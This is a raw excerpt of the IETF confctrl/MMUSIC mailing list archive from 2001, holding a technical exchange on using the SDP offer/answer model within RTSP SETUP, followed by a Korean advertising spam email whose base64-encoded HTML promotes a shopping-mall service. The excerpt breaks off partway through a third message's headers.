<br><font size=2 face="Courier New">On Thu, 20 Dec 2001 philippe.gentric@philips.com wrote:<br>
&gt; Yes, I too have remarked that being able to exchange a SDP<br>
&gt; in the RTSP framework would be usefull, the offer/anwser<br>
&gt; context is one, the MIKEY draft is another and proposes a solution,<br>
&gt; I have proposed to use a RTSP setParameter (but I recognize<br>
&gt; it may not be the best idea)<br>
<br>
I think there's plenty of room for optimizing the setup of RTSP sessions.<br>
However, I'm not sure offer answer makes sense. &nbsp;With RTSP, the client<br>
generally supports a lot more datatypes, and the server is constrained by<br>
what encoding the content is already in. &nbsp;As a result, the client would<br>
need to make a huge offer, only to get a response from the server that<br>
bears little resemblance to the offer.<br>
<br>
Rob<br>
<br>
<br>
&gt; Magnus Westerlund &lt;magnus.westerlund@era.ericsson.se&gt;@ISI.EDU on 12/20/2001 14:16:49<br>
&gt;<br>
&gt; Sent by: &nbsp;owner-confctrl@ISI.EDU<br>
&gt;<br>
&gt;<br>
&gt; To: &nbsp; &nbsp; IETF MMUSIC WG &lt;confctrl@ISI.EDU&gt;<br>
&gt; &nbsp; &nbsp; &nbsp; &nbsp; mmusic@ietf.org<br>
&gt; cc: &nbsp; &nbsp; &nbsp;(bcc: Philippe Gentric/LIM/CE/PHILIPS)<br>
&gt; Subject: &nbsp;Using Offer/Answer SDP model in RTSP?<br>
&gt; Classification:<br>
&gt;<br>
&gt;<br>
&gt; Hi,<br>
&gt;<br>
&gt; I have been considering a change to RTSP that would allow the<br>
&gt; transportation of SDP messages in the RTSP method SETUP. This would make<br>
&gt; it possible to have the client make selection from alternatives received<br>
&gt; in the SDP from DESCRIBE. As this seem to be a offer/answer exchange I<br>
&gt; have looked at draft-rosenberg-mmusic-sdp-offer-answer-00.txt. I have<br>
&gt; spotted a least one thing preventing RTSP from using it. That is the how<br>
&gt; a media line with port 0 shall be interpreted. In RTSP a medialine port<br>
&gt; 0 says that the server has no preference on what port number the client<br>
&gt; shall use. The actual exchange of port numbers are made in the SETUP<br>
&gt; message's transport header. The offer/answer draft says that a medialine<br>
&gt; with port 0 should not be used.<br>
&gt;<br>
&gt; So how do you see the possibilities to use offer/answer for such a<br>
&gt; mechanism? What changes are in that case need in the offer/answer draft?<br>
&gt;<br>
&gt; Regards<br>
&gt;<br>
&gt; Magnus Westerlund<br>
&gt;<br>
&gt; Audio Technology, Ericsson Research<br>
&gt; ----------------------------------------------------------------------<br>
&gt; Ericsson Radio Systems AB &nbsp;| Phone +46 8 4048287<br>
&gt; Torshamsgatan 23 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | Fax &nbsp; +46 8 7575550<br>
&gt; S-164 80 Stockholm, Sweden | mailto: magnus.westerlund@era-t.ericsson.se<br>
&gt;<br>
&gt;<br>
&gt;<br>
&gt;<br>
&gt;<br>
&gt;<br>
&gt;<br>
&gt;<br>
&gt;<br>
&gt; _______________________________________________<br>
&gt; mmusic mailing list<br>
&gt; mmusic@ietf.org<br>
&gt; https://www1.ietf.org/mailman/listinfo/mmusic<br>
&gt;<br>
<br>
</font>
<br>
<br>
--=_alternative 003DCD99C1256B2F_=--

From confctrl-owner  Thu Dec 27 08:29:32 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA28042
	for confctrl-outgoing; Thu, 27 Dec 2001 08:29:32 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA28030
	for <confctrl@zephyr.isi.edu>; Thu, 27 Dec 2001 08:29:31 -0800 (PST)
Received: from ns1.top5.co.kr (ftp.lucky09.com [61.32.136.130] (may be forged))
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fBRGULg05642
	for <confctrl@isi.edu>; Thu, 27 Dec 2001 08:30:22 -0800 (PST)
Received: from firemandu (unverified [61.32.136.169]) by ns1.top5.co.kr
 (EMWAC SMTPRS 0.83) with SMTP id <B0001319171@ns1.top5.co.kr>;
 Fri, 28 Dec 2001 01:28:14 +0900
Message-ID: <B0001319171@ns1.top5.co.kr>
From: =?ks_c_5601-1987?B?xenGxMDMuuo=?= <mans@top5.co.kr>
To: confctrl@ISI.EDU
Subject: =?ks_c_5601-1987?B?W7GksO1dIDe4uCA1MDAwv/jAuLfOIMOivvfAzCBPSyEhIQ==?=
Date: Fri, 28 Dec 2001 01:31:12 +0900
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0017_01C0F28A.93A31C00"
X-Priority: 3
X-Antirelay: Good relay from local net2 61.32.136.128/26
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0017_01C0F28A.93A31C00
Content-Type: text/plain;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

b25lLXN0ZXAgICAgICAgICAgICAgICAgICAgICAgIMD8ua687sfOuPS6zsXNIMG+x9W87sfO
uPSx7sH2ILvzx7DAxyC1tbjFsKEgsPix3iEguei82yAgu+fIxLD8uK4uDQogQjJTSE9QwMwg
x9iw4cfYILXluLO0z7TZLg0KILmrwaHG9yC5q8DnsO3AxyC9x8f2ISDAzsXNs90gvO7Hzrj0
wLsgvcPA28fPvcq9w7/ALiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCrzu
x8649MC7IL3HwfrA+8C4t84gv+6/tcfPtMK1pSCwocDlIMHfv+TH0Q0KILvzx7DAxyDBtrTe
sPoguei82yAgudcgu+fIxLD8uK6x7sH2IMOlwNPBriC15biztM+02S4NCiANCrHiwbggv8DH
wbbzwM4gwK/F68C7ILHXtOu3ziDAzsXNs90gu/PAuLfOILG4x/bH0SBCMlNIT1AhIA0KIMD6
t8XH0SC1tbjFsKG3ziC788ewwLsgsPix3sfYILXluLO0z7TZLg0KIA0KIDK4uL+pILvzx7Ag
sPix3rChtMkgx/bA5yC17rfPu/PHsCA0MzAwsLMhDQogDQogKiC87sfOuPQgsbjD4CDHwbfO
sde3pSC757/rwLogvLHFw7vnx9cgwNS0z7TZLg0KICAgICAgICAgICAgICAgICAgICAgDQqx
ubO7IMPWsO3AxyDHwbfOsde3pSEgIL/4vbrF3CC87sfOuPQgsbjD4CDHwbfOsde3pQ0KILbz
wMzE2r26LCC4tsDMxay3tLTlxMS17iDAr7jtILzux8649MC7IMGmwNvH0SCz68fPv+y4piCx
17Trt84gu+y4sCANCiDZo/mhIMfBt86x17elwLsgwaaw+MfYILXluLO0z7TZLg0KILXwwNrA
ziC4trn9u+ex4rTJwLi3ziC18MDawM7AuyC+8MGmtefB9iC6r7Dmx9IgvPYgwNbAuLjnIA0K
ILD4tb+xuLjFLCDH0cGkxse4xSwgsOa4xSCx4rTJse7B9iA3uLggNcO1v/i/oSC48LXOIMGm
sPi1y7TPtNkuDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgsO2wtCCw
qLW/vccgOiBURUwgKDAyKTgzMy02NjczICBGQVggKDAyKTgzMy02NjcyICAgICAgICAgICAg
ICANCiANCg==

------=_NextPart_000_0017_01C0F28A.93A31C00
Content-Type: text/html;
	charset="ks_c_5601-1987"
Content-Transfer-Encoding: base64

PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9u
YWwvL0VOIj4NCjxIVE1MPjxIRUFEPjxUSVRMRT5vbmUtc3RlcDwvVElUTEU+DQo8TUVUQSBj
b250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9a3NfY181NjAxLTE5ODciIGh0dHAtZXF1aXY9
Q29udGVudC1UeXBlPg0KPFNUWUxFIHR5cGU9dGV4dC9jc3M+DQo8IS0tDQphOmxpbmssYTp2
aXNpdGVkLGE6YWN0aXZle2ZvbnQtc2l6ZTo5cHQ7Y29sb3I6YmxhY2s7dGV4dC1kZWNvcmF0
aW9uOm5vbmU7Zm9udC13ZWlnaHQ6Ym9sZDt9DQphOmhvdmVye2ZvbnQtc2l6ZTo5cHQ7Y29s
b3I6I2NjY2NjYztmb250LXdlaWdodDpib2xkO3RleHQtZGVjb3JhdGlvbjpub25lfQ0KLS0+
DQo8L1NUWUxFPg0KDQo8TUVUQSBjb250ZW50PSJNU0hUTUwgNS4wMC4yNjE0LjM1MDAiIG5h
bWU9R0VORVJBVE9SPjwvSEVBRD4NCjxCT0RZIGJnQ29sb3I9I2NjY2NjYyB0ZXh0PSMwMDAw
MDA+DQo8Q0VOVEVSPg0KICA8VEFCTEUgYm9yZGVyPTAgY2VsbFBhZGRpbmc9MCBjZWxsU3Bh
Y2luZz0wIHdpZHRoPTYyMT4NCiAgICA8VEJPRFk+IA0KICAgIDxUUj4gDQogICAgICA8VEQ+
Jm5ic3A7PC9URD4NCiAgICAgIDxURCB3aWR0aD02MDE+Jm5ic3A7PC9URD4NCiAgICAgIDxU
RD4mbmJzcDs8L1REPg0KICAgIDwvVFI+DQogICAgPFRSPiANCiAgICAgIDxURD4mbmJzcDs8
L1REPg0KICAgICAgPFREIHdpZHRoPTYwMT48SU1HIGJvcmRlcj0wIGhlaWdodD0xMjAgDQog
ICAgICBzcmM9Imh0dHA6Ly93d3cuYjJzaG9wLmNvLmtyL2luZm9pbWFnZS9vbmVzdGVwL2lt
YWdlcy90b3AuZ2lmIiB1c2VNYXA9I01hcCANCiAgICAgIHdpZHRoPTYwMT48L1REPg0KICAg
ICAgPFREPiZuYnNwOzwvVEQ+DQogICAgPC9UUj4NCiAgICA8VFI+IA0KICAgICAgPFREIGNv
bFNwYW49Mz48SU1HIGhlaWdodD0xMDEgDQogICAgICBzcmM9Imh0dHA6Ly93d3cuYjJzaG9w
LmNvLmtyL2luZm9pbWFnZS9vbmVzdGVwL2ltYWdlcy90aW1hZ2VfMDEuZ2lmIiANCiAgICAg
IHdpZHRoPTMwMD48SU1HIGhlaWdodD0xMDEgDQogICAgICBzcmM9Imh0dHA6Ly93d3cuYjJz
aG9wLmNvLmtyL2luZm9pbWFnZS9vbmVzdGVwL2ltYWdlcy90aW1hZ2VfMDIuZ2lmIiANCiAg
ICB3aWR0aD0zMjE+PC9URD4NCiAgICA8L1RSPg0KICAgIDxUUj4gDQogICAgICA8VEQgYmFj
a2dyb3VuZD1odHRwOi8vd3d3LmIyc2hvcC5jby5rci9pbmZvaW1hZ2Uvb25lc3RlcC9pbWFn
ZXMvbGVmdF9iZy5naWYgcm93U3Bhbj0yMSB3aWR0aD0xMT48SU1HIGhlaWdodD04IA0KICAg
ICAgc3JjPSJodHRwOi8vd3d3LmIyc2hvcC5jby5rci9pbmZvaW1hZ2Uvb25lc3RlcC9pbWFn
ZXMvbGVmdF9iZy5naWYiIA0Kd2lkdGg9MTE+PC9URD4NCiAgICAgIDxURCBhbGlnbj1taWRk
bGUgYmdDb2xvcj0jZTVlNWU1IGhlaWdodD04MCB2QWxpZ249Y2VudGVyIHdpZHRoPTU5OT48
U1BBTiANCiAgICAgIHN0eWxlPSJGT05ULVNJWkU6IDlwdDsgTElORS1IRUlHSFQ6IDEuNiI+
wPy5rrzux8649LrOxc0gwb7H1bzux8649LHuwfYgu/PHsMDHILW1uMWwoSCw+LHeISC56Lzb
IA0KICAgICAgICC758jEsPy4ri48QlI+DQogICAgICAgIEIyU0hPUMDMIMfYsOHH2CC15biz
tM+02S48QlI+DQogICAgICAgILmrwaHG9yC5q8DnsO3AxyC9x8f2ISDAzsXNs90gvO7Hzrj0
wLsgvcPA28fPvcq9w7/ALjwvU1BBTj48L1REPg0KICAgICAgPFREIGJhY2tncm91bmQ9aHR0
cDovL3d3dy5iMnNob3AuY28ua3IvaW5mb2ltYWdlL29uZXN0ZXAvaW1hZ2VzL3JpZ2h0X2Jn
LmdpZiByb3dTcGFuPTIxIHdpZHRoPTExPjxJTUcgDQogICAgICBzcmM9Imh0dHA6Ly93d3cu
YjJzaG9wLmNvLmtyL2luZm9pbWFnZS9vbmVzdGVwL2ltYWdlcy9yaWdodF9iZy5naWYiIA0K
ICAgIHdpZHRoPTExPjwvVEQ+DQogICAgPC9UUj4NCiAgICA8VFI+IA0KICAgICAgPFREIGJh
Y2tncm91bmQ9aHR0cDovL3d3dy5iMnNob3AuY28ua3IvaW5mb2ltYWdlL29uZXN0ZXAvaW1h
Z2VzL2RvdC5naWYgaGVpZ2h0PTE+PElNRyBoZWlnaHQ9MSANCiAgICAgIHNyYz0iaHR0cDov
L3d3dy5iMnNob3AuY28ua3IvaW5mb2ltYWdlL29uZXN0ZXAvaW1hZ2VzL2RvdC5naWYiIHdp
ZHRoPTU+PC9URD4NCiAgICA8L1RSPg0KICAgIDxUUj4gDQogICAgICA8VEQgYmdDb2xvcj0j
ZmZmZmZmPjxJTUcgaGVpZ2h0PTIwIA0KICAgICAgc3JjPSJodHRwOi8vd3d3LmIyc2hvcC5j
by5rci9pbmZvaW1hZ2Uvb25lc3RlcC9pbWFnZXMvdF8wMS5naWYiIA0KICB3aWR0aD01OTk+
PC9URD4NCiAgICA8L1RSPg0KICAgIDxUUj4gDQogICAgICA8VEQgYWxpZ249Y2VudGVyIGJn
Q29sb3I9I2ZmZmZmZiB2QWxpZ249Ym90dG9tIGhlaWdodD0iMTE1Ij48aW1nIHNyYz0iaHR0
cDovL3d3dy5iMnNob3AuY28ua3IvaW5mb2ltYWdlL29uZXN0ZXAvaW1hZ2VzL3RfMDFfaW1n
XzEuZ2lmIiB3aWR0aD0iMzUwIiBoZWlnaHQ9Ijk2Ij48aW1nIHNyYz0iaHR0cDovL3d3dy5i
MnNob3AuY28ua3IvaW5mb2ltYWdlL29uZXN0ZXAvaW1hZ2VzL3RfMDFfaW1nXzIuZ2lmIiB3
aWR0aD0iODciIGhlaWdodD0iOTYiPiZuYnNwOyZuYnNwOzxpbWcgc3JjPSJodHRwOi8vd3d3
LmIyc2hvcC5jby5rci9pbmZvaW1hZ2Uvb25lc3RlcC9pbWFnZXMvMm1hbl8xLmdpZiIgd2lk
dGg9IjEwOSIgaGVpZ2h0PSI4NyI+IA0KICAgICAgPC9URD4NCiAgICA8L1RSPg0KICAgIDxU
Uj4NCiAgICAgIDxURCBhbGlnbj1jZW50ZXIgYmdDb2xvcj0jZmZmZmZmIHZBbGlnbj1taWRk
bGU+Jm5ic3A7PC9URD4NCiAgICA8L1RSPg0KICAgIDxUUj4gDQogICAgICA8VEQgYmFja2dy
b3VuZD1odHRwOi8vd3d3LmIyc2hvcC5jby5rci9pbmZvaW1hZ2Uvb25lc3RlcC9pbWFnZXMv
ZG90LmdpZiBoZWlnaHQ9MT48SU1HIGhlaWdodD0xIA0KICAgICAgc3JjPSJodHRwOi8vd3d3
LmIyc2hvcC5jby5rci9pbmZvaW1hZ2Uvb25lc3RlcC9pbWFnZXMvZG90LmdpZiIgd2lkdGg9
NT48L1REPg0KICAgIDwvVFI+DQogICAgPFRSPiANCiAgICAgIDxURCBiZ0NvbG9yPSNmZmZm
ZmY+PElNRyBoZWlnaHQ9MjAgDQogICAgICBzcmM9Imh0dHA6Ly93d3cuYjJzaG9wLmNvLmty
L2luZm9pbWFnZS9vbmVzdGVwL2ltYWdlcy90XzAzLmdpZiIgDQogIHdpZHRoPTYwMD48L1RE
Pg0KICAgIDwvVFI+DQogICAgPFRSPiANCiAgICAgIDxURCBiZ0NvbG9yPSNmZmZmZmY+IA0K
ICAgICAgICA8VEFCTEUgYm9yZGVyPTAgY2VsbFBhZGRpbmc9MCBjZWxsU3BhY2luZz0wIHdp
ZHRoPSIxMDAlIj4NCiAgICAgICAgICA8VEJPRFk+IA0KICAgICAgICAgIDxUUj4gDQogICAg
ICAgICAgICA8VEQgd2lkdGg9ODA+Jm5ic3A7PC9URD4NCiAgICAgICAgICAgIDxURCBoZWln
aHQ9MTYwPjxTUEFOIA0KICAgICAgICAgICAgc3R5bGU9IkNPTE9SOiBibGFjazsgRk9OVC1T
SVpFOiA5cHQ7IExJTkUtSEVJR0hUOiAxLjQiPiANCiAgICAgICAgICAgICAgPFA+vO7Hzrj0
wLsgvcfB+sD7wLi3ziC/7r+1x8+0wrWlILChwOUgwd+/5MfRPEJSPg0KICAgICAgICAgICAg
ICAgIDxGT05UIGNvbG9yPSNjYzAwMDA+u/PHsMDHIMG2tN48L0ZPTlQ+sPogPEZPTlQgY29s
b3I9I2NjMDAwMD656LzbPC9GT05UPiANCiAgICAgICAgICAgICAgICC51yA8Rk9OVCBjb2xv
cj0jY2MwMDAwPrvnyMSw/LiuPC9GT05UPrHuwfYgw6XA08GuILXluLO0z7TZLjwvUD4NCiAg
ICAgICAgICAgICAgPFA+seLBuCC/wMfBtvPAziDAr8XrwLsgsde067fOIMDOxc2z3SC788C4
t84gsbjH9sfRIEIyU0hPUCEgPEJSPg0KICAgICAgICAgICAgICAgIMD6t8XH0SC1tbjFsKG3
ziC788ewwLsgsPix3sfYILXluLO0z7TZLjxCUj4NCiAgICAgICAgICAgICAgICA8QlI+DQog
ICAgICAgICAgICAgICAgPEI+Mri4v6kgu/PHsCCw+LHesKG0ySA8L0I+x/bA5yC17rfPu/PH
sCA0MzAwsLMhPEJSPg0KICAgICAgICAgICAgICAgIDxCUj4NCiAgICAgICAgICAgICAgICA8
Rk9OVCANCiAgICAgICAgICAgIGNvbG9yPSMxNjY1YTU+PEI+KiC87sfOuPQgsbjD4CDHwbfO
sde3pSC757/rwLogvLHFw7vnx9cgwNS0z7TZLjwvQj48L0ZPTlQ+PC9QPg0KICAgICAgICAg
ICAgICA8L1NQQU4+PC9URD4NCiAgICAgICAgICA8L1RSPg0KICAgICAgICAgIDwvVEJPRFk+
DQogICAgICAgIDwvVEFCTEU+DQogICAgICA8L1REPg0KICAgIDwvVFI+DQogICAgPFRSPiAN
CiAgICAgIDxURCBiYWNrZ3JvdW5kPWh0dHA6Ly93d3cuYjJzaG9wLmNvLmtyL2luZm9pbWFn
ZS9vbmVzdGVwL2ltYWdlcy9kb3QuZ2lmIGhlaWdodD0xPjxJTUcgaGVpZ2h0PTEgDQogICAg
ICBzcmM9Imh0dHA6Ly93d3cuYjJzaG9wLmNvLmtyL2luZm9pbWFnZS9vbmVzdGVwL2ltYWdl
cy9kb3QuZ2lmIiB3aWR0aD01PjwvVEQ+DQogICAgPC9UUj4NCiAgICA8VFI+IA0KICAgICAg
PFREIGJnQ29sb3I9I2ZmZmZmZj48SU1HIGhlaWdodD0yMCANCiAgICAgIHNyYz0iaHR0cDov
L3d3dy5iMnNob3AuY28ua3IvaW5mb2ltYWdlL29uZXN0ZXAvaW1hZ2VzL3RfMDIuZ2lmIiAN
CiAgd2lkdGg9NTk5PjwvVEQ+DQogICAgPC9UUj4NCiAgICA8VFI+IA0KICAgICAgPFREIGFs
aWduPW1pZGRsZSBiZ0NvbG9yPSNmZmZmZmY+IA0KICAgICAgICA8VEFCTEUgYm9yZGVyPTAg
Y2VsbFBhZGRpbmc9MCBjZWxsU3BhY2luZz0wIHdpZHRoPSIxMDAlIj4NCiAgICAgICAgICA8
VEJPRFk+IA0KICAgICAgICAgIDxUUj4gDQogICAgICAgICAgICA8VEQgd2lkdGg9ODA+Jm5i
c3A7PC9URD4NCiAgICAgICAgICAgIDxURCBoZWlnaHQ9MTAwPiANCiAgICAgICAgICAgICAg
PFA+PFNQQU4gc3R5bGU9IkZPTlQtU0laRTogOXB0OyBMSU5FLUhFSUdIVDogMS40Ij48Qj6x
ubO7IMPWsO3AxyDHwbfOsde3pSEgDQogICAgICAgICAgICAgICAgv/i9usXcILzux8649CCx
uMPgIMfBt86x17elPC9CPjxCUj4NCiAgICAgICAgICAgICAgICC288DMxNq9uiwguLbAzMWs
t7S05cTEte4gwK+47SC87sfOuPTAuyDBpsDbx9Egs+vHz7/suKYgsde067fOILvsuLAgPEJS
Pg0KICAgICAgICAgICAgICAgINmj+aEgx8G3zrHXt6XAuyDBprD4x9ggteW4s7TPtNkuPEJS
Pg0KICAgICAgICAgICAgICAgILXwwNrAziC4trn9u+ex4rTJwLi3ziC18MDawM7AuyC+8MGm
tefB9iC6r7Dmx9IgvPYgwNbAuLjnIDxCUj4NCiAgICAgICAgICAgICAgICA8Rk9OVCANCiAg
ICAgICAgICAgIGNvbG9yPSNjYzAwMDA+sPi1v7G4uMUsIMfRwaTGx7jFLCCw5rjFILHitMk8
L0ZPTlQ+se7B9iA3uLggNcO1v/i/oSC48LXOIMGmsPi1y7TPtNkuPC9TUEFOPjwvUD4NCiAg
ICAgICAgICAgIDwvVEQ+DQogICAgICAgICAgPC9UUj4NCiAgICAgICAgICA8L1RCT0RZPg0K
ICAgICAgICA8L1RBQkxFPg0KICAgICAgPC9URD4NCiAgICA8L1RSPg0KICAgIDxUUj4gDQog
ICAgICA8VEQgYmFja2dyb3VuZD1odHRwOi8vd3d3LmIyc2hvcC5jby5rci9pbmZvaW1hZ2Uv
b25lc3RlcC9pbWFnZXMvZG90LmdpZiBoZWlnaHQ9MT48SU1HIGhlaWdodD0xIA0KICAgICAg
c3JjPSJodHRwOi8vYjJzaG9wLmNvLmtyL2luZm9pbWFnZS9vbmVzdGVwL2ltYWdlcy9kb3Qu
Z2lmIiB3aWR0aD01PjwvVEQ+DQogICAgPC9UUj4NCiAgICA8VFI+IA0KICAgICAgPFREIGFs
aWduPW1pZGRsZSBiZ0NvbG9yPSNlNWU1ZTUgaGVpZ2h0PTUwIHZBbGlnbj1jZW50ZXI+PElN
RyBoZWlnaHQ9MzMgDQogICAgICBzcmM9Imh0dHA6Ly93d3cuYjJzaG9wLmNvLmtyL2luZm9p
bWFnZS9vbmVzdGVwL2ltYWdlcy90XzAzX3RleHQuZ2lmIiANCiAgICB3aWR0aD00MjU+PC9U
RD4NCiAgICA8L1RSPg0KICAgIDxUUj4gDQogICAgICA8VEQgYWxpZ249bWlkZGxlIGJnQ29s
b3I9IzY2NjY2NiBoZWlnaHQ9MjMgdkFsaWduPWNlbnRlcj48QSANCiAgICAgIGhyZWY9Imh0
dHA6Ly93d3cuYjJzaG9wLmNvLmtyL3Nob3AvbWVudV8wM191c2UuYXNwIj48SU1HIGJvcmRl
cj0wIA0KICAgICAgaGVpZ2h0PTE0IA0KICAgICAgc3JjPSJodHRwOi8vd3d3LmIyc2hvcC5j
by5rci9pbmZvaW1hZ2Uvb25lc3RlcC9pbWFnZXMvdF8wNF90aXRsZS5naWYiIA0KICAgICAg
d2lkdGg9NjI+PC9BPjwvVEQ+DQogICAgPC9UUj4NCiAgICA8VFI+IA0KICAgICAgPFREIGFs
aWduPW1pZGRsZSBiYWNrZ3JvdW5kPWh0dHA6Ly93d3cuYjJzaG9wLmNvLmtyL2luZm9pbWFn
ZS9vbmVzdGVwL2ltYWdlcy90XzA0X2RvdC5naWYgaGVpZ2h0PTMgDQogICAgICB2QWxpZ249
Y2VudGVyPjxJTUcgaGVpZ2h0PTMgDQogICAgICBzcmM9Imh0dHA6Ly93d3cuYjJzaG9wLmNv
LmtyL2luZm9pbWFnZS9vbmVzdGVwL2ltYWdlcy90XzA0X2RvdC5naWYiIA0KICB3aWR0aD01
PjwvVEQ+DQogICAgPC9UUj4NCiAgICA8VFI+IA0KICAgICAgPFREIGFsaWduPW1pZGRsZSBi
Z0NvbG9yPSM5OTk5OTkgaGVpZ2h0PTE5MCB2QWxpZ249Y2VudGVyPjxJTUcgYm9yZGVyPTAg
DQogICAgICBoZWlnaHQ9MTUxIA0KICAgICAgc3JjPSJodHRwOi8vd3d3LmIyc2hvcC5jby5r
ci9pbmZvaW1hZ2Uvb25lc3RlcC9pbWFnZXMvdF8wNF9oZWFkLmdpZiIgDQogICAgICB1c2VN
YXA9I01hcDIgd2lkdGg9NTgwPjwvVEQ+DQogICAgPC9UUj4NCiAgICA8VFI+IA0KICAgICAg
PFREIGFsaWduPW1pZGRsZSBiZ0NvbG9yPSMwMDAwMDAgaGVpZ2h0PTEgdkFsaWduPWNlbnRl
cj48L1REPg0KICAgIDwvVFI+DQogICAgPFRSPiANCiAgICAgIDxURCBhbGlnbj1taWRkbGUg
dkFsaWduPWNlbnRlcj48QSANCiAgICAgIGhyZWY9Imh0dHA6Ly93d3cuYjJzaG9wLmNvLmty
L3Nob3AvbWVudV8wNV9kZW1vLmFzcCIgdGFyZ2V0PV9ibGFuaz48SU1HIA0KICAgICAgYm9y
ZGVyPTAgaGVpZ2h0PTg5IA0KICAgICAgc3JjPSJodHRwOi8vd3d3LmIyc2hvcC5jby5rci9p
bmZvaW1hZ2Uvb25lc3RlcC9pbWFnZXMvYmFubmVyMDEuZ2lmIiANCiAgICAgIHdpZHRoPTMw
MD48L0E+PEEgaHJlZj0iaHR0cDovL3d3dy5iMnNob3AuY28ua3IvcF9zeXN0ZW0vcHN5c3Rl
bS5hc3AiIA0KICAgICAgdGFyZ2V0PV9ibGFuaz48SU1HIGJvcmRlcj0wIGhlaWdodD04OSAN
CiAgICAgIHNyYz0iaHR0cDovL3d3dy5iMnNob3AuY28ua3IvaW5mb2ltYWdlL29uZXN0ZXAv
aW1hZ2VzL2Jhbm5lcjAyLmdpZiIgDQogICAgICB3aWR0aD0yOTk+PC9BPjwvVEQ+DQogICAg
PC9UUj4NCiAgICA8VFI+IA0KICAgICAgPFREIGFsaWduPW1pZGRsZSBiZ0NvbG9yPSMwMDAw
MDAgaGVpZ2h0PTEgdkFsaWduPWNlbnRlcj48L1REPg0KICAgIDwvVFI+DQogICAgPFRSPiAN
CiAgICAgIDxURCBhbGlnbj1taWRkbGUgYmdDb2xvcj0jY2NjY2NjIGhlaWdodD00NSB2QWxp
Z249Ym90dG9tPiANCiAgICAgICAgPFRBQkxFIGJvcmRlcj0wIGNlbGxQYWRkaW5nPTAgY2Vs
bFNwYWNpbmc9MD4NCiAgICAgICAgICA8VEJPRFk+IA0KICAgICAgICAgIDxUUj4gDQogICAg
ICAgICAgICA8VEQ+PElNRyBoZWlnaHQ9NDMgDQogICAgICAgICAgICBzcmM9Imh0dHA6Ly93
d3cuYjJzaG9wLmNvLmtyL2luZm9pbWFnZS9vbmVzdGVwL2ltYWdlcy9ib3R0b21fMDEuZ2lm
IiANCiAgICAgICAgICAgIHdpZHRoPTIxNz48L1REPg0KICAgICAgICAgICAgPFREPjxTUEFO
IHN0eWxlPSJGT05ULVNJWkU6IDlwdDsgTElORS1IRUlHSFQ6IDEzMCUiPrDtsLQgsKi1v73H
IDogVEVMICgwMik4MzMtNjY3MyANCiAgICAgICAgICAgICAgRkFYICgwMik4MzMtNjY3MiAm
bmJzcDsmbmJzcDsmbmJzcDs8QQ0KICAgICAgICAgICAgICBocmVmPSJtYWlsdG86bWFuc0B0
b3A1LmNvLmtyP3N1YmplY3Q9vPa9xbDFus4mYm9keT243sDPILz2vcXAuyCwxbrOx9W0z7TZ
LiI+PElNRyBhbGlnbj1hYnNCb3R0b20gYm9yZGVyPTAgDQogICAgICAgICAgICBoZWlnaHQ9
Mjcgc3JjPSJodHRwOi8vd3d3LmIyc2hvcC5jby5rci9pbmZvaW1hZ2Uvb25lc3RlcC9pbWFn
ZXMvbm8uZ2lmIiANCiAgICAgICAgICAgIHdpZHRoPTg0PjwvQT48L1NQQU4+PC9URD4NCiAg
ICAgICAgICA8L1RSPg0KICAgICAgICAgIDwvVEJPRFk+DQogICAgICAgIDwvVEFCTEU+DQog
ICAgICA8L1REPg0KICAgIDwvVFI+DQogICAgPFRSPiANCiAgICAgIDxURCBhbGlnbj1taWRk
bGUgYmdDb2xvcj0jNjY2NjY2IGhlaWdodD0yMCB2QWxpZ249Y2VudGVyPjxJTUcgaGVpZ2h0
PTYgDQogICAgICBzcmM9Imh0dHA6Ly93d3cuYjJzaG9wLmNvLmtyL2luZm9pbWFnZS9vbmVz
dGVwL2ltYWdlcy9jb3B5ci5naWYiIA0KICB3aWR0aD0zMTc+PC9URD4NCiAgICA8L1RSPg0K
ICAgIDwvVEJPRFk+DQogIDwvVEFCTEU+DQo8UD4mbmJzcDs8L1A+PC9DRU5URVI+PE1BUCBu
YW1lPU1hcD48QVJFQSBjb29yZHM9NSwxMyw3Myw0MSANCiAgaHJlZj0iaHR0cDovL3d3dy5i
MnNob3AuY28ua3IiIHNoYXBlPVJFQ1QgdGFyZ2V0PV9ibGFuaz48L01BUD48TUFQIA0KICBu
YW1lPU1hcDI+PEFSRUEgY29vcmRzPTEsMCwxMDcsODEgaHJlZj0iaHR0cDovL3d3dy5iMnNo
b3AuY28ua3IvIiBzaGFwZT1SRUNUIA0KICB0YXJnZXQ9X3NlbGY+PEFSRUEgY29vcmRzPTEx
OCwxLDIyNiw4MSBocmVmPSIjIiBzaGFwZT1SRUNUPjxBUkVBIA0KICBjb29yZHM9MjM2LDEs
MzQ0LDgxIGhyZWY9IiMiIHNoYXBlPVJFQ1Q+PEFSRUEgY29vcmRzPTM1NiwxLDQ2Myw4MSAN
CiAgaHJlZj0iaHR0cDovL3d3dy5iMnNob3AuY28ua3IvbWVtYmVyL3Byb2dyYW1fam9pbi5h
c3AiIA0Kc2hhcGU9UkVDVD48L01BUD48L0JPRFk+PC9IVE1MPg0K

------=_NextPart_000_0017_01C0F28A.93A31C00--


From confctrl-owner  Thu Dec 27 08:35:05 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA28301
	for confctrl-outgoing; Thu, 27 Dec 2001 08:35:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA28296
	for <confctrl@zephyr.isi.edu>; Thu, 27 Dec 2001 08:35:03 -0800 (PST)
Received: from mail3.dynamicsoft.com ([63.113.44.69])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBRGZsg07110
